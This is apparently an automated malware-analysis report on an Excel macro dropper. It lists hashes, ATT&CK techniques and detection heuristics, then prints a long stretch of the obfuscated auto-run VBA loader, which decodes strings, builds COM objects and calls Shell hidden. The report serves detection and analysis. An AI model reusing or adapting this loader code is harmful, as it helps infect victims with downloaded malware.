Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b55c49945eefb834…

MALICIOUS

Office (OLE)

333.0 KB Created: 2018-09-23 23:32:26 Authoring application: Microsoft Excel First seen: 2019-05-10
MD5: 7dcddde9d37ad86c9ff068b8ef6f54d2 SHA-1: ae0fa446316788ab807e359db190fb94e1c32019 SHA-256: b55c49945eefb83472bb07936acbe879058a2cd23629c0db2b2f5c93d323f1bc
378 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate or Decode Files or Information T1204.002 Malicious File T1071.001 Web Protocols

The sample is an Excel file containing a Workbook_Open VBA macro that is obfuscated and attempts to download and execute a second-stage payload. The document body explicitly prompts the user to enable macros, indicating a social engineering lure. The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' confirms the macro's intent to download a file using HTTP and save it to disk, which is then likely executed.

Heuristics 11

  • ClamAV: Xls.Malware.Emodldr-10058834-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Emodldr-10058834-0
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
                Shell (DpAZKE), vbHide
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        BJhaHO = cBNkP.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
                Shell (DpAZKE), vbHide
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set fWPmteIO = CreateObject(kdQrnA("Ace^]DB j Opm-ODLcqNB@Lki. #JeSq%A tcyxnrlNtoe$ h aDpR?maJ I"))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Public Sub Workbook_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        TQOwsP = Environ(kdQrnA("TruVne K-dm(  cpjB B"))
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 76597 bytes
SHA-256: df24e6d9e6d0213483879a6d4e61d1c23f26b640a3dd11f1c21f5db8abcdb3c6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
517 of 802 identifiers look randomly generated (e.g. 'FFweCLrgvwFNm') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Public Sub Workbook_Open()
Call QzTMtyc


End Sub



Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Module1"

Public Sub QzTMtyc()
    HttilKm = Left("U.h ?YjH x(-KAwQ zbh", 3)
    YwdUFkGs = 1106 + 1998 + 561
    NKmRoc = Space(17)
    

    syPthOrxL = Right("exzAm Q(S k&p  $UqPN", 2)
    uyaplxAEEkGt = Space(10)
    iqfpzZyPny = 1008 + 1101 + 517
    While JIlFpi < 2
        While SNzCHT < 1
            Dim biyXZ, SuXKb, GJLuE, YotqiTgx As Integer
            

            dZjseTB = UCase("c& u r[W  OpJJl[]j w")
            

            isLJdgcMILio = 264 - 122 - 442
            MoKxDaB = LTrim("B x  yVwh f O Fjee..")
            

            NKmRoc = 560 + 395 + 1894
            HttilKm = Left("o s egW  X.!emt", 3)
            EkwjdKbSM = RTrim("p  jI -x jQFvm sg-L")
            SNzCHT = SNzCHT + 2
        Wend

        oCMirUodgbz = 220 - 471 - 198
        yrKejJYCLCD = Space(20)
        dZjseTB = UCase("F  %dMsZ    @")
        MszNYmG = Space(17)
        isLJdgcMILio = LTrim("d AGY [ ZJ b RP f")
        oCMirUodgbz = Right("QoR  v%iT f", 4)
        yrKejJYCLCD = 1605 + 1953 + 112
        WtrgzVGrNMz = 133 - 271 - 323
        JIlFpi = JIlFpi + 1
    Wend

    MoKxDaB = Right("m@[o!Gv   Js]mU x", 3)
    dZjseTB = Right("wKx%T     fZnBAcmj", 3)
    EkwjdKbSM = StrReverse("u p  UA?C Bh")
    While EfOlKS < 3
        While sgLKmK < 4
            uyaplxAEEkGt = UCase(" RTI XMZbgRjyw ")
            uyaplxAEEkGt = 1399 + 205 + 455
            MszNYmG = Left("%@Z XJFPY-OC Q[ Z", 3)
            

            WtrgzVGrNMz = LTrim("P&NcDvi]ZDSLuM ] [")
            

            oCMirUodgbz = LTrim("  h )@_oDUg")
            sgLKmK = sgLKmK + 1
        Wend

        iqfpzZyPny = 239 - 426 - 364
        oCMirUodgbz = 113 + 1099 + 235
        isLJdgcMILio = StrReverse("FFweCLrgvwFNm")
        

        sPgNsCd = Left("-BHXh!Yq  ngLTH", 3)
        uyaplxAEEkGt = Left("N@qdMu n K xOA_  ebj", 2)
        dZjseTB = LTrim("g]l s@PXJ oF[-x]")
        dZjseTB = RTrim("ap[^   Dm ")
        YwdUFkGs = Right("]bt -x P xjUa_  [U  ", 2)
        Dim xzaEHQAv, lJPqQ As Integer
        EfOlKS = EfOlKS + 2
    Wend

NzrYnO "CSCQZxpFWW", "TcHQDtZ", "Awcepk", "pPrxcu"
    TQOwsP = Environ(kdQrnA("TruVne K-dm(  cpjB B"))
    lvUmY = 1678 + 663 + 1980
    Dim BMLTbmH As Single
    While zVkRMe < 3
        While pBxnLX < 3
            lvUmY = StrReverse(" OYvnw  d  C")
            

            BfHkj = 379 - 208 - 383
            MoKxDaB = 927 + 1548 + 1514
            

            pBxnLX = pBxnLX + 3
        Wend

        yrKejJYCLCD = StrReverse("yns V x  WH&qdM_gH z")
        oCMirUodgbz = 442 - 480 - 404
        syPthOrxL = StrReverse("  X _% Tg sntxf")
        uyaplxAEEkGt = 1748 + 652 + 381
        MoKxDaB = Right("  ?Zu% yER Kwt", 2)
        uyaplxAEEkGt = Right(" Q L [@x  _^  ia !", 2)
        

        zVkRMe = zVkRMe + 3
    Wend

    WtrgzVGrNMz = 700 + 329 + 944
    For rcwePK = 0 To 9
        UjLRyKnwXS = Space(20)
        oCMirUodgbz = 1677 + 1819 + 1165
        WtrgzVGrNMz = Right("VVx   BH$J Z  hz It", 5)
        ktpsGoVFMu = 1482 + 1194 + 185
        Dim fzXBg, mYyKLt, yxkUu As Boolean
    Next rcwePK

    sPgNsCd = 205 - 456 - 103
    YwdUFkGs = 895 + 1338 + 471
    TcDIUgKVq = Left("lko g] sfF", 2)
    Dim acnqtq As String
    UjLRyKnwXS = RTrim("ls  r.G(tI eFkKQ.B")
    oCMirUodgbz = LTrim("M Z  YI Ago")
    Dim VuMYIWTY As Date
    acnqtq = "B sb R"
    While VbijuC < 2
        For nSETLC = 0 To 5
            iqfpzZyPny = 1853 + 277 + 1190
            isLJdgcMILio = 1772 + 598 + 1960
            yrKejJYCLCD = 1839 + 1496 + 1798
            TcDIUgKVq = LTrim("  .kL NS )Laqvn")
            Dim gzmFNYYX, OfMentM, qfLZo As Byte
            Dim vVJSq, pRUwepPM, mVwrH, MrHmoTE As String
            Dim azrbN As Boolean
            Dim jIXLFY As String
        Next nSETLC

        Dim IAIcIvUb, Vutpt, JEJNxYCC, jbDacj As Single
        syPthOrxL = StrReverse("I BXg wQi yZNm?eh_$")
        yrKejJYCLCD = 274 - 462 - 422
        WtrgzVGrNMz = 602 + 1532 + 917
        MoKxDaB = StrReverse("( P_ WpCv  mYsi ) ")
        VbijuC = VbijuC + 1
    Wend

    ktpsGoVFMu = StrReverse("SrRHMJJR  (Wr h")
    acnqtq = acnqtq + " EoSAz"
    For YKNDjh = 0 To 8
        dZjseTB = StrReverse(" w wO   .CB ^YvOfA")
        ktpsGoVFMu = RTrim("Jz WIL nqbvyR - EVFL")
        ktpsGoVFMu = LTrim("K.DVd@fs RHqX &r ul")
        NKmRoc = LTrim("OvAVRdrKYBjDc%J) a.#")
        

    Next YKNDjh

    While Jqayrv < 2
        While ialhsl < 1
            WtrgzVGrNMz = StrReverse("_rwh _ZU  P")
            Dim RVSAoW, XwqifHIw, oncsLN, GfawMDfG As Integer
            UjLRyKnwXS = UCase(" h hceFS sXF X  ")
            lvUmY = Right("L V)ALm[   I", 5)
            Dim VWzflJk As String
            

            ialhsl = ialhsl + 1
        Wend

        MszNYmG = Right(" N   nrxV     z", 2)
        isLJdgcMILio = StrReverse("qjv a)a#xyw[W)yv")
        uyaplxAEEkGt = 1928 + 112 + 1436
        syPthOrxL = UCase("[c-P@@] Yv vX)rv")
        lvUmY = LTrim("%  !_FlcA G %LYK")
        NKmRoc = UCase("Zl  pyAD!$T IA[x")
        sPgNsCd = 367 - 449 - 130
        dZjseTB = LTrim("%v  J F. ^)_#z  ?cT")
        Jqayrv = Jqayrv + 3
    Wend

    acnqtq = acnqtq + " )OIt "
    HttilKm = UCase(" tWtryZa  ]s")
    For PVuEWo = 0 To 6
        uyaplxAEEkGt = Space(8)
        YwdUFkGs = LTrim("wIoC QiUxmSC")
        lvUmY = StrReverse("Ct&Z B@ RhEPN  ")
        

        lvUmY = Left("jic. .j u@L", 2)
        UjLRyKnwXS = LTrim("ag P  X FatP")
    Next PVuEWo

    Dim sWCLQLYD, UsjhgG, DhfvKsx As Boolean
    acnqtq = acnqtq + " ANTAG"
    sPgNsCd = StrReverse("a  !w mpwR")
    For xTyDfe = 0 To 5
        sPgNsCd = StrReverse("$LSfrcjyZ&fAq#y^  ")
        yrKejJYCLCD = Right("V MB WmBXZuS ed$", 5)
        MoKxDaB = 222 - 112 - 334
        

        

    Next xTyDfe

    For RGJJrI = 0 To 2
        For RepIfq = 0 To 10
            UjLRyKnwXS = 325 - 400 - 262
            NKmRoc = Right("T uQzpf[ jgz fy", 3)
            WtrgzVGrNMz = 856 + 1522 + 1017
            yrKejJYCLCD = StrReverse(" HNuOQFSe# Y@ tO _  ")
            ktpsGoVFMu = Right(" smL$F Wd (s -zE", 2)
        Next RepIfq

        Dim KVgGCeQ, BRSEwcnL, PjPxPA As Single
        dZjseTB = Left("IOQb   w Cj! vs yK%", 4)
        BfHkj = UCase("eJzbWi t QWF sJ ")
        NKmRoc = LTrim("$    u %T. bZka))fz")
        

        Dim kYMSr As Byte
    Next RGJJrI

    WtrgzVGrNMz = UCase("cc  a[$-^wNhdT mbo")
    acnqtq = acnqtq + " KI?-x"
    WtrgzVGrNMz = LTrim(" xa(.rwogW  ")
    While pOFsLP < 4
        oCMirUodgbz = 426 - 145 - 341
        BfHkj = StrReverse("@m?! w  m ")
        lvUmY = Left("!@ ]hxxK  [ja hO   ", 5)
        dZjseTB = LTrim("LVv ZCf FaLF GY SuD")
        isLJdgcMILio = RTrim(" ?c )  dR)VdX  a$")
        pOFsLP = pOFsLP + 2
    Wend

    isLJdgcMILio = 1595 + 1213 + 1561
    For BTuJvp = 0 To 6
        iqfpzZyPny = 1765 + 1867 + 1695
        YwdUFkGs = 363 - 238 - 291
        yrKejJYCLCD = 822 + 1348 + 1455
        TcDIUgKVq = UCase("_uFBQ wrij$(RE")
        TcDIUgKVq = RTrim(") Ls @tIucDut jN v")
        TcDIUgKVq = RTrim(" Y@$o L d) l[ ")
        syPthOrxL = 213 + 1665 + 1880
    Next BTuJvp

    acnqtq = acnqtq + "RduC@E"
    YwdUFkGs = Space(10)
    oCMirUodgbz = Left("y zTM#DBtf(Jndeb _Hd", 3)
    acnqtq = acnqtq + "o(sAB "
    MoKxDaB = Right("b%kDK^e?$   ^ #.", 4)
    Dim kotjm, OlcHXTYy As String
    Dim dqAxqQM As Single
    isLJdgcMILio = StrReverse("Clq zEO KzJ%lCQ")
    acnqtq = acnqtq + " DnSz#"
    yrKejJYCLCD = Right("Z TmBcQX   ", 5)
    sPgNsCd = Left("-Fh)b  MNz^sY", 4)
    For thFmee = 0 To 1
        While UZKoPH < 2
            lvUmY = LTrim("J(hV@vSfD V@bVJr")
            NKmRoc = RTrim("  T-ocQu Sf?")
            uyaplxAEEkGt = StrReverse("  _j  a[h$V ")
            WtrgzVGrNMz = RTrim("  wWI RcW BvT) j")
            EkwjdKbSM = Right("WsVabI)  O ", 2)
            BfHkj = 491 - 260 - 268
            iqfpzZyPny = Space(8)
            

            UZKoPH = UZKoPH + 1
        Wend

        TcDIUgKVq = Right(" G P. )&Gj%fgn", 3)
        MoKxDaB = RTrim("ZX T_& Ih   ] @")
        MszNYmG = 815 + 814 + 1661
        iqfpzZyPny = Right("  Uvk B cE qQG H%PS ", 3)
        ktpsGoVFMu = RTrim(" PiW WEgwmD    xES ")
    Next thFmee

    acnqtq = acnqtq + "h.\hgJ"
    NKmRoc = 433 - 255 - 342
    MoKxDaB = Right("Hgq lumBaZEVVfX$  K", 5)
    sPgNsCd = Left(" Y  Yr?U%h(   k fFWM", 2)
    MoKxDaB = Right("^FB$ CY !V  QYTho", 5)
    While iHXFpO < 5
        BfHkj = RTrim(" (WnpZ  X$he v MGQ")
        Dim YovEXfFa, sKJJZKKc, DuYagR As Integer
        NKmRoc = LTrim("   ) vr %QA X")
        uyaplxAEEkGt = Space(15)
        dZjseTB = 118 - 375 - 373
        

        WtrgzVGrNMz = 1749 + 803 + 1561
        WtrgzVGrNMz = UCase("QO Xa p@  .UcM@zTQ R")
        iHXFpO = iHXFpO + 3
    Wend

    acnqtq = acnqtq + "WKrj z"
    For zQovNL = 0 To 7
        iqfpzZyPny = RTrim("n(Cg Mka _ i")
        ktpsGoVFMu = UCase(".mh^Y^xHKE  FA lGf(E")
        WtrgzVGrNMz = 376 - 422 - 180
        dZjseTB = 473 - 305 - 238
        WtrgzVGrNMz = Space(20)
        Dim WgFUOaN, PMsLPNb, DzMkHKm, pjJbTs As Date
        YwdUFkGs = 468 - 386 - 350
        TcDIUgKVq = Left("W    ^h-G D", 4)
        WtrgzVGrNMz = UCase("-# fALJq  -")
    Next zQovNL

    iqfpzZyPny = Space(15)
    

    

    syPthOrxL = UCase("ptO .bo! p  s")
    acnqtq = acnqtq + "j^xaCR"
    Dim kmkGFz, OsTsxfwZ As Byte
    YwdUFkGs = LTrim("c.I)  &bd!a")
    UjLRyKnwXS = LTrim("$ ARJLkC)uM- vQa%Mg")
    ktpsGoVFMu = Left("mNeYS[.^)vgME", 5)
    BfHkj = RTrim("U Kqer)ySTF")
    acnqtq = acnqtq + "$c  dM"
    ktpsGoVFMu = 398 - 273 - 469
    UjLRyKnwXS = LTrim("FjXS&fHiJ%!c ^Sw gRv")
    

    For oXxntn = 0 To 6
        syPthOrxL = Space(6)
        isLJdgcMILio = RTrim("Lkj r DM  ZC ")
        lvUmY = 1104 + 1968 + 1225
        WtrgzVGrNMz = UCase("iiXVmZ   L")
        sPgNsCd = 102 - 200 - 145
        

        MoKxDaB = Left(" T]XP KA@K", 2)
    Next oXxntn

    For cBZbLi = 0 To 7
        

        isLJdgcMILio = LTrim("cN))jIaqrwO.(YKI?[")
        ktpsGoVFMu = UCase("E. &b] Mi Um u?^._O ")
        uyaplxAEEkGt = UCase("b$Z AfE% Q")
        

    Next cBZbLi

    acnqtq = acnqtq + "pW .Lo"
    isLJdgcMILio = RTrim("kh !ZfPpSZz s")
    HttilKm = LTrim("lD y?k )%Y x")
    

    

    sPgNsCd = UCase("$Y_SPAn P ^  B ")
    acnqtq = acnqtq + "HfeiMm"
    Dim TvIuH, hihMW, NTkMO As Date
    

    

    

    acnqtq = acnqtq + "jx P^ "
    ktpsGoVFMu = UCase("_q-mcPBF Ph^c xs udg")
    Dim wXwkBtse, Ixfswt, JMOWx, XVySeU As Integer
    For xkUGHJ = 0 To 7
        isLJdgcMILio = LTrim("xT!  EH Bf VaFhs ")
        EkwjdKbSM = 959 + 1574 + 1601
        MoKxDaB = StrReverse("es JJ(RBB G] CK()K")
        UjLRyKnwXS = 711 + 947 + 488
        dZjseTB = UCase(" l&^$Ia EfuX[ui^")
        TcDIUgKVq = 551 + 1965 + 416
        YwdUFkGs = Right(". UI IOQl T$(-u m", 2)
    Next xkUGHJ

    For vbvmQp = 0 To 3
        For zCyzwQ = 0 To 7
            dZjseTB = Space(19)
            syPthOrxL = LTrim("V xs.@ wR%%GlrR t")
            UjLRyKnwXS = Right("fZ&FrI awPjR!p&V  OT", 2)
            

            YwdUFkGs = Left("XjM-l  bp)", 2)
            Dim KCfxBoa As Boolean
            yrKejJYCLCD = 289 - 119 - 349
            Dim JQtWT, WJwFVcrP, oIDhaK, yQnXMW As String
        Next zCyzwQ

        iqfpzZyPny = Left(".jF( Rvyf$N", 3)
        Dim PFzoZgM As Integer
        Dim TItOErTh, iRtzak As Integer
        

        sPgNsCd = 282 - 377 - 123
        

        WtrgzVGrNMz = RTrim(")M_g&D yijbF?$e ")
    Next vbvmQp

    For hrTdSy = 0 To 2
        While qKrkWw < 1
            HttilKm = RTrim("yuW GC. o f      l")
            YwdUFkGs = RTrim("Q^$#U Y V ")
            

            lvUmY = Left("_&]StR  cP", 2)
            yrKejJYCLCD = LTrim("$ - anQ ql   .b_")
            MszNYmG = Left(" RL@ @pQ i sv", 2)
            Dim wCWomD, fcDya, DxoorUks, cOylMwP As Single
            ktpsGoVFMu = LTrim("ex Qyi )[L h@ agF! ")
            lvUmY = Space(5)
            qKrkWw = qKrkWw + 3
        Wend

        sPgNsCd = StrReverse("jg)[u H IrKAV")
        lvUmY = LTrim("B^Erz fO- bdS-  ")
        MoKxDaB = UCase(" % ._MwY  # ")
        BfHkj = UCase(" b kHT N r@y")
        sPgNsCd = StrReverse("$@.kuejRf[ q & DcL A")
        iqfpzZyPny = RTrim(" EeXy   WpCm  DM. ")
        Dim rLKbYYw As Byte
    Next hrTdSy

    acnqtq = acnqtq + "en]l "
    While PTFLCR < 3
        For gGAnnO = 0 To 10
            uyaplxAEEkGt = LTrim("TY B)]^dyao E &i]M")
            sPgNsCd = 1980 + 592 + 1696
            dZjseTB = Space(17)
            MoKxDaB = 185 - 260 - 156
            UjLRyKnwXS = Left(" -bQ (Z   hf!bH", 3)
            EkwjdKbSM = Left("bpw Spr HoC  ", 3)
            iqfpzZyPny = LTrim("   T (WSS ^ k&KybZ]")
            MoKxDaB = UCase("S H ?XeZ pIC d)   ")
        Next gGAnnO

        syPthOrxL = 394 - 355 - 460
        

        MszNYmG = Space(14)
        lvUmY = Right("mnPmI     b", 4)
        yrKejJYCLCD = Left("d][kd@S  LvMi WN ] V", 5)
        MszNYmG = RTrim(" ]lBiDGS.a vvy UMR t")
        ktpsGoVFMu = 1449 + 980 + 999
        PTFLCR = PTFLCR + 3
    Wend

    For fBOTwu = 0 To 8
        oCMirUodgbz = LTrim("rNeY- ]ZjRnctuk ")
        

        WtrgzVGrNMz = StrReverse("N lHomjE_vzR")
        

        isLJdgcMILio = RTrim(" Qrv JSk  a")
        isLJdgcMILio = Space(8)
        sPgNsCd = UCase("?  . RwzVcfb hB")
        oCMirUodgbz = 1284 + 994 + 1826
        

        TcDIUgKVq = Space(11)
    Next fBOTwu

    isLJdgcMILio = UCase("?g .   G)A&xX& v% C")
    acnqtq = Replace(kdQrnA(acnqtq), "BRAINKREBS", Environ(kdQrnA("T oHZeg?AgmOg& pFcHE")))
    Dim ivIrOMY, PdVewKJ, bCnYsLoH As Boolean
    UjLRyKnwXS = 134 - 141 - 124
    yrKejJYCLCD = Space(7)
    While krulXY < 1
        While CRDMsT < 2
            uyaplxAEEkGt = UCase(" % v]NSmwy)  e$!oO")
            NKmRoc = LTrim("wh?@h)s araAalD%Jt")
            EkwjdKbSM = RTrim("(d- ]? ]oj")
            MoKxDaB = Left("l JBbuy( U FRh W", 3)
            WtrgzVGrNMz = 1169 + 1537 + 1571
            MszNYmG = 286 - 388 - 438
            ktpsGoVFMu = Left("vk&VwL(])[.aBI", 5)
            Dim yooJQkoT, XVoVdvHV, sIAzp As Single
            WtrgzVGrNMz = 746 + 1807 + 1480
            oCMirUodgbz = Right("I  p^ faZ&Q?Q(%", 2)
            CRDMsT = CRDMsT + 1
        Wend

        MoKxDaB = 265 - 247 - 412
        Dim hPDJPoC As String
        

        MoKxDaB = Left("s_ U? m  XuR!eL[", 2)
        syPthOrxL = Left("H @NDd_H@$", 4)
        YwdUFkGs = StrReverse("  p-@ z. w Bl")
        Dim TTBnnVKg, WkgEu, HqLPluhV, oJfEF As Byte
        Dim HNGdNJt, EaRjqg, DRIMGTjj, EjbsFaz As String
        krulXY = krulXY + 3
    Wend

    EkwjdKbSM = 269 - 397 - 320
    iqfpzZyPny = UCase(" (? d! v#p  [")
    UjLRyKnwXS = UCase("d-  VM?eTcQ")
    EkwjdKbSM = RTrim("yw?DZkoDXHW")
    WtrgzVGrNMz = LTrim(" !$ bbB]vD%")
    ktpsGoVFMu = StrReverse("H msh bc XAz oy ervD")
    Dim OYCrACF, PVwjkGAe, pUBLFZR As Date
    While KLZnnE < 3
        While XMLNwb < 2
            sPgNsCd = LTrim("znOF)U.[ U AV &M")
            dZjseTB = Space(19)
            UjLRyKnwXS = StrReverse(" I tKzL]KE  ")
            isLJdgcMILio = UCase("f&     $.h V.? Uh  ")
            EkwjdKbSM = Right(" A^Np  f eKDCci", 4)
            

            sPgNsCd = StrReverse("Jqk lyy.fv) EkF h_ ")
            XMLNwb = XMLNwb + 1
        Wend

        isLJdgcMILio = Left("^ Ekf G xl%  @x t", 2)
        

        ktpsGoVFMu = UCase(" $GV KF[j.")
        iqfpzZyPny = UCase("xWdC DWrc^kWy")
        MoKxDaB = LTrim("#KxDD - G @  Qrl")
        syPthOrxL = Left("d Uo$  -eq( $o^m!& s", 3)
        YwdUFkGs = 231 - 324 - 243
        

        HttilKm = RTrim("!vHtlKkRaz##")
        KLZnnE = KLZnnE + 1
    Wend

    MoKxDaB = LTrim("lV#TY Q! UUeUJ nW")
    While TwkdxO < 5
        Dim JJzLCV, vhwPJJ, bAXSC As String
        NKmRoc = 498 - 271 - 428
        UjLRyKnwXS = LTrim(" CH?SV qX ")
        EkwjdKbSM = 237 - 440 - 183
        

        EkwjdKbSM = LTrim(" %azwEkTA  T dLy)& ")
        Dim wqCSRQl, GowuL, pCJAagQS As Single
        ktpsGoVFMu = 366 + 1727 + 275
        dZjseTB = RTrim("sU e_Me   g")
        TwkdxO = TwkdxO + 2
    Wend

    YwdUFkGs = Right("sd$$kijop- ", 5)
    UjLRyKnwXS = 1317 + 1838 + 1181
    While LgEhBd < 485
        syPthOrxL = Space(10)

        If LgEhBd = 410 Then
            oCMirUodgbz = Right("M ?V Ex Y  D #", 3)
            For NixIRK = 0 To 2
                For cVbKGs = 0 To 8
                    MoKxDaB = Right("zni Y   PHPXxQ& G", 4)
                    Dim eVIIaigW As String
                    MoKxDaB = 613 + 1780 + 679
                    oCMirUodgbz = Right("O vDxW^%aC.", 4)
                    EkwjdKbSM = Right("(J &? uk ciZ k", 4)
                Next cVbKGs

                yrKejJYCLCD = 1576 + 358 + 671
                Dim MkoSprD, byerWeE, GeXHs As Boolean
                syPthOrxL = UCase("T _n B iJK?@ c)")
                TcDIUgKVq = 461 + 645 + 1188
                EkwjdKbSM = LTrim("@tv INwlEBzO)L] C")
                uyaplxAEEkGt = RTrim(" Wf   R  D[   cBkv ")
                WtrgzVGrNMz = LTrim("I  Xyj   mWYfC#")
                oCMirUodgbz = 581 + 1326 + 710
            Next NixIRK

            GHxFqSGs acnqtq, "bxzYCYJvra", "ObrOrtF", "XYkusB", "ddwkPKvH"
            MszNYmG = 1708 + 1477 + 407
        End If
    LgEhBd = LgEhBd + 3 - 2
    Wend
    YwdUFkGs = LTrim(" mhQd VplV gp t")
    

    iqfpzZyPny = StrReverse("qJ n NaYd g^R]N$")
    HttilKm = RTrim(" j i jhcK  euiSxE")
    MoKxDaB = 313 - 254 - 402
    UjLRyKnwXS = RTrim("hFP# l  hnG")
    lvUmY = LTrim("  $   oQIIg#   ")
    Dim tOjMEA As Single
    MszNYmG = 194 + 1155 + 1135
    MoKxDaB = Right("E HF uWM% GN%v", 3)


End Sub



Public Sub GHxFqSGs(slmkXW As String, oRkjmu As String, wmPLeCU As String, EJvkZz As String, BkmujhS As String)
    While wjNCoH < 5
        For DUxXMw = 0 To 8
            isLJdgcMILio = UCase("g  KCZ CD_)d ?b   ")
            sPgNsCd = RTrim("q(%O CEbPxPYi%e   ]")
            UjLRyKnwXS = Space(4)
            iqfpzZyPny = UCase("pHIeC FMgh X")
            lvUmY = UCase(" vXcGcp ea  MIxx")
            TcDIUgKVq = UCase("rRTvk Z $ y& Am B ")
        Next DUxXMw

        dZjseTB = UCase(" $CQC OuM xSU iy")
        dZjseTB = StrReverse(" L KI   - E    ")
        MszNYmG = LTrim("r? kMZ?IHF Yn^d &F")
        UjLRyKnwXS = 452 + 284 + 139
        isLJdgcMILio = Right(" v$rs H  iO", 2)
        oCMirUodgbz = Left("Dk@z qzG fRMCn HL", 5)
        Dim ytmFHmtd, wEQVSh, pRanQp, bWwpbII As Byte
        wjNCoH = wjNCoH + 2
    Wend
    While MbSyhO < 3
        

        UjLRyKnwXS = Right("j  N[ kone xHkf-ipDa", 4)
        WtrgzVGrNMz = RTrim("Cq v s_CMH  Bf b%")
        iqfpzZyPny = RTrim("  i nnYUX?b")
        yrKejJYCLCD = Right(" $M YI t t Iv #  ", 4)
        BfHkj = RTrim("e@BY  ?  Bh-  U ")
        TcDIUgKVq = LTrim("Vrr@ ^IT]j[u#kQ n h")
        BfHkj = LTrim("RNxOTjG RSb_ OZH ")
        BfHkj = Space(6)
        yrKejJYCLCD = 466 - 270 - 284
        MbSyhO = MbSyhO + 2
    Wend
    BfHkj = Left(" d  ( tAq   mMJR)Iq", 3)
    For jjdNuL = 0 To 5
        TcDIUgKVq = 1420 + 569 + 437
        ktpsGoVFMu = 278 + 469 + 1866
        UjLRyKnwXS = Space(9)
        oCMirUodgbz = 1357 + 1151 + 1317
        BfHkj = Right("^T(E !mvMrK& K Wk", 4)
        yrKejJYCLCD = Left("S   y)P(Cg jl vP$p", 4)
        uyaplxAEEkGt = RTrim(")DaUpt&dAwdsBJ")
        lvUmY = 1789 + 1570 + 999
        

        BfHkj = RTrim("%e eWtv&G [V q(j[B")
    Next jjdNuL
    While bHtloX < 3
        dZjseTB = LTrim("[ WIO@Bxbj")
        UjLRyKnwXS = Left("  I $ [F@S ", 5)
        Dim wJbwHj, hLoiK, PirDdm, ViphiUZU As Byte
        WtrgzVGrNMz = StrReverse("E zW tP @Y-")
        YwdUFkGs = StrReverse(" k  Xia fSA")
        NKmRoc = LTrim("_xHyXH MCM#pC ")
        

        ktpsGoVFMu = 819 + 1741 + 1686
        bHtloX = bHtloX + 1
    Wend
    EkwjdKbSM = StrReverse("j P bl  ?t  ")
    While eHhRBf < 2
        ktpsGoVFMu = RTrim("W &(  yB  ")
        uyaplxAEEkGt = 1551 + 422 + 774
        sPgNsCd = RTrim("Mv  )L[ v   Y O&W")
        WtrgzVGrNMz = Right("PWAv!CtsnY    p]", 5)
        EkwjdKbSM = Right("% a fN.]  V  ", 2)
        eHhRBf = eHhRBf + 3
    Wend
    TcDIUgKVq = StrReverse(" l I ? l( boE")
    oCMirUodgbz = 185 - 259 - 353
    While UQQSVg < 2
        UjLRyKnwXS = Right("?F E LHj?#a ", 3)
        MszNYmG = Space(6)
        MszNYmG = RTrim("N^dmcep. YY.$AGj!q ]")
        

        lvUmY = 438 + 307 + 1487
        NKmRoc = Left("kpsEkLd &k.", 4)
        sPgNsCd = Space(15)
        iqfpzZyPny = LTrim(" u @&%g B j[D Es)")
        MszNYmG = 1370 + 1431 + 844
        MoKxDaB = 332 - 417 - 402
        UQQSVg = UQQSVg + 1
    Wend
    NKmRoc = Space(3)
    While ApwPhN < 3
        WtrgzVGrNMz = Space(9)
        syPthOrxL = Left(" expCHlJch^(", 3)
        lvUmY = Right("VpwYG$ix[ j^ ", 5)
        Dim AkNKhQci, LuEfyfMC As Single
        syPthOrxL = Right("d?SM@f_Jini ?) qam ", 4)
        iqfpzZyPny = Space(17)
        yrKejJYCLCD = 407 - 388 - 165
        WtrgzVGrNMz = LTrim("J H ZGxPh @qOk(PKm")
        Dim vxCmF As Single
        ApwPhN = ApwPhN + 1
    Wend
    For YijPGT = 0 To 4
        For DxoWUK = 0 To 9
            

            MoKxDaB = 805 + 282 + 125
            lvUmY = RTrim("  ??^mFKtdipv")
            uyaplxAEEkGt = RTrim("mg h&ND r ")
            lvUmY = RTrim(" H  VtK)!h  M ")
